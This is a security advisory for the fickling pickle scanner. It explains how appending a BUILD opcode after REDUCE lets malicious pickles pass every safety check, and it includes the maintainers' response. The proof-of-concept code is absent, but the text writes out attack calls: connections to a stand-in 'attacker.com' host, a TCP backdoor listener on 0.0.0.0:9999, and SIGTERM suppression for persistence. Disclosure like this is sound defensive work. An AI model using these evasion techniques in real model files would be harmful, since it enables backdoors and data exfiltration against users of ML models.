GHSA-mhc9-48gj-9gp3 Fickling has safety check bypass via REDUCE+BUILD opcode sequence
AssessmentIt is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).Original reportSummaryAll 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.DetailsThe bypass exploits three weaknesses in fickling's static analysis pipeline:**`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.**`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.**`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).Affected versionsAll versions through 0.1.7 (latest as of 2026-02-18).Affected APIs`fickling.is_likely_safe()` - returns `True` for bypass payloads`fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE``fickling --check-safety` CLI - exits with code 0`fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes`fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executesPoCA single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:fickling decompiles this to:Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).**CLI verification:****`always_check_safety()` verification:****`check_safety()` context manager verification:**Backdoor listener PoC (most impactful)A pickle that opens a TCP listener on port 9999, binding to all interfaces:The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.ImpactAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:**Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.**Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.**Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.**File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor.**Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.ThreadA single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.This affects any application using fickling as a safety gate for ML model files.Suggested FixRestrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules.Relationship to GHSA-83pf-v6qq-pwmrGHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.
CVSS v4.0 score: 5.3